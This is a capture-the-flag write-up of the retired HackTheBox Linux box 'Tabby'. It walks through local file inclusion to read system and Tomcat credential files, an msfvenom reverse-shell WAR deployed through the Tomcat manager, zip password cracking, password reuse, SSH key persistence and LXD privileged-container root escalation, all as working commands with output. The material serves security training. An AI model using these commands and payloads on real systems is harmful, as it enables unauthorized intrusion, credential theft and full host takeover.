HackTheBox - Tabby

— Written by — 12 min read
tabby hackthebox

Tabby just retired on HackTheBox. It’s an easy difficulty Linux box. While rated easy the user part was about Tomcat and the root part about LXD, two softwares I had never used before this box so it gave me a little of trouble at first but I learned a lot of neat tricks and a better understanding of how those two tools works and vulnerabilities that can arise from them.
In the end it’s a very well designed box with a lot of real life scenarios that I enjoyed working with.

Tl;Dr: To get the user flag you first had to find an Local File Inclusion vulnerability in the main application. Using this LFI you could retrieve the users credentials of the Tomcat instance running on port 8080. With this account you can access Tomcat Manager Deploy feature and upload a malicious .war file to open a reverse shell. Once on the box as tomcat user you stumble across a password-protected zip file. Cracking the password gives you the actual password of ash user, allowing you to pivot to his account and retrieve the user flag.
To get the root flag you have to leverage ash user privilege to use LXD API in order to mount the host’s full root filesystem into a container with elevated privileges and from inside the container, read the root flag.

Alright! Let’s get into the details now!


First thing first, let’s add the box IP to the hosts file:

1
[[email protected] ~]$ echo "10.10.10.194 tabby.htb" >> /etc/hosts

and let’s start!

User Flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
[[email protected] ~]$ nmap -sV -sT -sC tabby.htb
Nmap scan report for tabby.htb (10.10.10.194)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have a web server on port 80 running Apache, another web server on port 8080 running Apache Tomcat and finally the SSH port 22 open.

Opening http://tabby.htb display a following page:

tabby homepage

From there we notice an interesting statement:

We have recently upgraded several services. Our servers are now more secure than ever.

Read our statement on recovering from the data breach

The statement page redirect to a new hostname: http://megahosting.htb. Let’s add it to our host file before continuing:

1
[[email protected] ~]$ echo "10.10.10.194 megahosting.htb" >> /etc/hosts

Opening the “recovering from data breach” statement doesn’t return any useful information:

We apologise to all our customers for the previous data breach.

We have changed the site to remove this tool, and have invested heavily in more secure servers

We don’t know what tool they are talking about and since it’s been removed we won’t be able to exploit it either. Yet this page got one interesting part, its URL: http://megahosting.htb/news.php?file=statement

Given the file parameter it looks like the page fetch a file named statement and displays its content. Looks like a perfect scenario for Local File Inclusion.

Local File Inclusion

Let’s try to exploit LFI to access the classical /etc/passwd file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[[email protected] ~]$ curl "megahosting.htb/news.php?file=../etc/passwd"
[[email protected] ~]$ curl "megahosting.htb/news.php?file=../../etc/passwd"
[[email protected] ~]$ curl "megahosting.htb/news.php?file=../../../etc/passwd"
[[email protected] ~]$ curl "megahosting.htb/news.php?file=../../../../etc/passwd" -i
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1850
Content-Type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
[...]
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash

Bingo, we just confirmed we can do LFI. Now what ? If we can find any sensible file on the server we should be able to read its source code.

Let’s run gobuster to see if any interesting files can be found:

1
2
3
4
5
6
7
8
9
10
11
12
[[email protected] ~]$ gobuster dir -u "http://tabby.htb/" -w ~/SecLists/Discovery/Web-Content/big.txt -x php,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
/Readme.txt (Status: 200)
/assets (Status: 301)
/favicon.ico (Status: 200)
/files (Status: 301)
/index.php (Status: 200)
/news.php (Status: 200)
/server-status (Status: 403)

Nothing interesting here, except the files folder but we don’t have permission to access it. Let’s move on.

At this point I didn’t get any interesting results. So I started to dig a bit into the Tomcat instance running on port 8080.

Analyzing Tomcat instance

Opening http://tabby.htb:8080 returns the defaults Tomcat homepage:

tabby homepage

That was the first time for me using Tomcat so I was surprised to get so much informations on the default homepage, which is super useful for us. Amongst the documentation we learn that the file tomcat-users.xml contains a list of users and their respective permission:

For security reasons, using the manager webapp is restricted to users with role “manager-gui”. The host-manager webapp is restricted to users with role “admin-gui”. Users are defined in /etc/tomcat9/tomcat-users.xml.

Looks exactly what we need, especially since we found an LFI earlier. Let’s grab this file to see if we can gather juicy accounts.

LFI to Tomcat conf files

The documentation state that the user file is located at /etc/tomcat9/tomcat-users.xml, let’s get it using LFI:

1
2
3
4
[[email protected] ~]$ curl "http://megahosting.htb/news.php?file=../../../../etc/tomcat9/tomcat-users.xml" -I
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8

Bummer! No results…

Maybe Tomcat got installed in a different location? We know the server is running Ubuntu so let’s check the files location of the default tomcat9 on Ubuntu. The documentation list the following files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/etc/cron.daily/tomcat9
/etc/rsyslog.d/tomcat9.conf
/etc/tomcat9/policy.d/01system.policy
/etc/tomcat9/policy.d/02debian.policy
/etc/tomcat9/policy.d/03catalina.policy
/etc/tomcat9/policy.d/04webapps.policy
/etc/tomcat9/policy.d/50local.policy
/lib/systemd/system/tomcat9.service
/usr/lib/sysusers.d/tomcat9.conf
/usr/lib/tmpfiles.d/tomcat9.conf
/usr/libexec/tomcat9/tomcat-start.sh
/usr/libexec/tomcat9/tomcat-update-policy.sh
/usr/share/doc/tomcat9/README.Debian
/usr/share/doc/tomcat9/changelog.Debian.gz
/usr/share/doc/tomcat9/copyright
/usr/share/tomcat9-root/default_root/META-INF/context.xml
/usr/share/tomcat9-root/default_root/index.html
/usr/share/tomcat9/default.template
/usr/share/tomcat9/etc/catalina.properties
/usr/share/tomcat9/etc/context.xml
/usr/share/tomcat9/etc/jaspic-providers.xml
/usr/share/tomcat9/etc/logging.properties
/usr/share/tomcat9/etc/server.xml
/usr/share/tomcat9/etc/tomcat-users.xml
/usr/share/tomcat9/etc/web.xml
/usr/share/tomcat9/logrotate.template
/var/lib/tomcat9/conf
/var/lib/tomcat9/logs
/var/lib/tomcat9/work

We missed the full path of the file, let’s try again with the correct path for Ubuntu:

1
2
3
4
5
6
[[email protected] ~]$ curl "http://megahosting.htb/news.php?file=../../../../../usr/share/tomcat9/etc/tomcat-users.xml"
<?xml version="1.0" encoding="UTF-8"?>
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>

Bingo! We got credentials for tomcat user which have admin-gui and manager-script role.

Reading through the documentation we find an interesting thing about manager-script role. It allows us to deploy custom packages in the format of WAR files:

There is a tool called the Client Deployer, which can be used from a command line and provides additional functionality such as compiling and validating web applications as well as packaging web application into web application resource (WAR) files.

http://tomcat.apache.org/tomcat-9.0-doc/deployer-howto.html

Basically a WAR package is a container for JSP and various others file that constitute a web application.

Well since we have permission to deploy apps, maybe we can create a WAR package containing a JSP webshell?

Deploying malicious WAR package

After gathering a bit more informations about Tomcat we understand that a .war packages is a web application directory hierarchy in ZIP format.

We can use msfvenom to easily generate a malicious war package and verify it’s structure:

1
2
3
4
5
[[email protected] ~]$ msfvenom -p java/shell_reverse_tcp lhost=10.10.10.10 lport=8585 -f war -o hg8.war

Payload size: 13402 bytes
Final size of war file: 13402 bytes
Saved as: hg8.war
1
2
3
4
5
6
7
8
9
10
11
12
13
[[email protected] ~]$ unzip hg8.war
Archive: hg8.war
creating: WEB-INF/
inflating: WEB-INF/web.xml
creating: WEB-INF/classes/
creating: WEB-INF/classes/metasploit/
inflating: WEB-INF/classes/metasploit/Payload.class
inflating: WEB-INF/classes/metasploit/PayloadServlet.class
creating: WEB-INF/classes/javapayload/
creating: WEB-INF/classes/javapayload/stage/
inflating: WEB-INF/classes/javapayload/stage/Stage.class
inflating: WEB-INF/classes/javapayload/stage/StreamForwarder.class
inflating: WEB-INF/classes/javapayload/stage/Shell.class

We now have our package ready. Let’s open our nc listener:

1
2
[[email protected] ~]$ nc -l -vv -p 8585
Listening on any address 8585

And deploy the package using the manager-script function:

1
2
[[email protected] ~]$ curl -u 'tomcat:$3cureP4s5w0rd123!' -T hg8.war "http://megahosting.htb:8080/manager/text/deploy?path=/hg8.war"
OK - Deployed application at context path [/hg8.war]

As soon as we open the page, a new connection appear on our listener:

1
[[email protected] ~]$ curl http://megahosting.htb:8080/hg8.war
1
2
3
4
5
6
7
8
[[email protected] ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.194:56096
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)

python3 -c 'import pty;pty.spawn("/bin/bash")'
[email protected]:/$

Pivot tomcat -> ash user

Alright we now have shell as tomcat. Looking at the /home/ directory we see that the user flag is in /home/ash/ directory.

Let’s looks around to see if we can find any way to pivot to ash user. First thing first I checked what’s inside the files folder we found at the beginning:

1
2
[email protected]:/$ ls /var/www/html/files
16162020_backup.zip archive revoked_certs statement

This backup archive looks promising. Maybe we can find juicy files in it ?

1
2
[[email protected] ~]$ wget http://tabby.htb/files/16162020_backup.zip
‘16162020_backup.zip’ saved [8716/8716]
1
2
3
4
5
[[email protected]~]$ unzip 16162020_backup.zip
Archive: 16162020_backup.zip
creating: var/www/html/assets/
[16162020_backup.zip] var/www/html/favicon.ico password:
password incorrect--reenter:

Bummer it’s encrypted… Maybe we can bruteforce the password. I will use John as usual:

1
2
3
[[email protected] ~]$ zip2john 16162020_backup.zip > zip.hashes
[[email protected] ~]$ cat zip.hashes
16162020_backup.zip:$pkzip2$3*2*1*0*0*24*02f9*5d46*ccf7b799809a3d3c12abb83063af3c6dd538521379c8d744cd195945926884341a9c4f74*1*0*8*24*285c*5935*f422c178c96c8537b1297ae19ab6b91f497252d0a4efe86b3264ee48b099ed6dd54811ff*2*0*72*7b*5c67f19e*1b1f*4f*8*72*5c67*5a7a*ca5fafc4738500a9b5a41c17d7ee193634e3f8e483b6795e898581d0fe5198d16fe5332ea7d4a299e95ebfff6b9f955427563773b68eaee312d2bb841eecd6b9cc70a7597226c7a8724b0fcd43e4d0183f0ad47c14bf0268c1113ff57e11fc2e74d72a8d30f3590adc3393dddac6dcb11bfd*$/pkzip2$::16162020_backup.zip:var/www/html/news.php, var/www/html/logo.png, var/www/html/index.php:16162020_backup.zip
1
2
3
4
[[email protected] ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt zip.hashes
Loaded 1 password hash (PKZIP [32/64])
[email protected] (16162020_backup.zip)
Session completed

Bingo! We got the password, let’s now unzip the archive:

1
2
3
4
5
6
7
8
9
10
[[email protected] ~]$ unzip 16162020_backup.zip
Archive: 16162020_backup.zip
creating: var/www/html/assets/
[16162020_backup.zip] var/www/html/favicon.ico password:
inflating: var/www/html/favicon.ico
creating: var/www/html/files/
inflating: var/www/html/index.php
extracting: var/www/html/logo.png
inflating: var/www/html/news.php
inflating: var/www/html/Readme.txt

And well… We got nothing interesting at all in this archive. That’s disappointing but what else can we try ?
Maybe ash reused his password for encrypting the archive ?

Let’s try to use [email protected] to connect to his account:

1
2
3
[[email protected] ~]$ ssh [email protected]
Warning: Permanently added 'tabby.htb,10.10.10.194' (ECDSA) to the list of known hosts.
[email protected]: Permission denied (publickey).

No luck… Using su - then?

1
2
3
4
5
[email protected]:/$ su - ash
su - ash
Password: [email protected]

[email protected]:~$

Let’s add our own SSH key to authorized_keys file in order to get a more stable shell:

1
[email protected]:~$  echo "ssh-rsa AAAAXXX= [email protected]" >> ~/.ssh/authorized_keys

And login again:

1
2
3
4
5
6
[[email protected] ~]$ ssh -i id_rsa_htb [email protected]
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-31-generic x86_64)

Last login: Tue May 19 11:48:00 2020
[email protected]:~$ cat user.txt
8xxxxxxxxxxxxxxxxxxx4

Root FLag

Recon

While doing our usual recon we quickly notice that ash belongs to a few uncommon group:

1
2
[email protected]:/$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)

One particularly interesting is the lxd group.

LXD is a system container manager build on top of LXC (Linux Containers) that is currently supported by Canonical. The goal of LXD is to provide an experience similar to a virtual machine but through containerization rather than hardware virtualization. Compared to Docker for delivering applications, LXD offers nearly full operating-system functionality with additional features such as snapshots, live migrations, and storage management.

https://linuxcontainers.org/lxd/

Doesn’t this remind you a lot of Docker? And Docker have a few interesting way to escalate privileges to root. Probably something similar exist for LXD ? Let’s dig a bit.

Privilege Escalation via LXD

After a bit of Google search we stumble upon an interesting article: “Linux Privilege Escalation via LXD & Hijacked UNIX Socket Credentials“.

This idea is to build an LXD container and use the LXD API to mount the host’s root filesystem into this container in order to give our low-privilege ash user root access to the host filesystem.

Let’s see how it’s done now.

First let’s init LXD if it’s not already done:

1
2
3
4
5
6
7
8
9
10
11
12
13
[email protected]:/$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (ceph, btrfs, dir, lvm) [default=btrfs]: dir
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:

Then check if images are already present on the system:

1
2
3
4
[email protected]:/tmp$ lxc image list
+-------+-------------+--------+-------------+--------------+------+------+-------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+-------+-------------+--------+-------------+--------------+------+------+-------------+

No luck we don’t have any image. We will need to build our own first. Let’s head back to our own machine to do so. I will use the following script to create an basic Alpine container: LXD Alpine Builder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[[email protected] ~]$ git clone https://github.com/saghul/lxd-alpine-builder.git
[[email protected] ~]$ cd lxd-alpine-builder
[[email protected] ~]$ sudo ./build-alpine
[sudo] password for hg8:
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64
Downloading alpine-mirrors-3.5.10-r0.apk
Downloading alpine-keys-2.2-r0.apk
Downloading apk-tools-static-2.10.5-r1.apk
[email protected]: OK
Verified OK
[...]
OK: 8 MiB in 19 packages
[[email protected] ~]$ ls
alpine-v3.12-x86_64-20200624_1903.tar.gz build-alpine LICENSE README.md

Alright now we upload our newly built image to the server:

1
2
[[email protected] ~]$ scp -i id_rsa_htb alpine-v3.12-x86_64-20200624_1903.tar.gz [email protected]:/tmp/
alpine-v3.12-x86_64-20200624_1903.tar.gz 100% 3108KB 270.0KB/s 00:11

We can import it:

1
2
[email protected]:/tmp$ lxc image import ./alpine-v3.12-x86_64-20200624_1903.tar.gz --alias hg8
Image imported with fingerprint: 833677b049e4b3128c1b89887b818c555c735f4c112302386965f85a1e171fd1
1
2
3
4
5
6
[email protected]:/tmp$ lxc image list
+-------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+-------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| hg8 | 833677b049e4 | no | alpine v3.12 (20200624_19:03) | x86_64 | CONTAINER | 3.04MB | Jun 24, 2020 at 5:22pm (UTC) |
+-------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+

Let’s now assign it security privileges and mount the full disk under /mnt/root:

1
2
3
4
5
[email protected]:/tmp$ lxc init hg8 ignite -c security.privileged=true
Creating ignite
[email protected]:/tmp$ lxc config device add ignite hg8-device disk source=/ path=/mnt/root recursive=true
Device hg8-device added to ignite
[email protected]:/tmp$ lxc start ignite

Finally let’s get inside the container and navigate to /mnt/root see all the resources from our host machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
[email protected]:/tmp$ lxc exec ignite /bin/sh
~ # id
uid=0(root) gid=0(root)

~ # ls /mnt/root/
bin cdrom etc lib lib64 lost+found mnt proc run snap swap.img tmp var
boot dev home lib32 libx32 media opt root sbin srv sys usr

~ # cd /mnt/root/root/
/mnt/root/root # ls
root.txt snap
/mnt/root/root # cat root.txt
0xxxxxxxxxxxxxxxxxxxxxx2

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFHackTheBoxEasy Box
, , , , , , , ,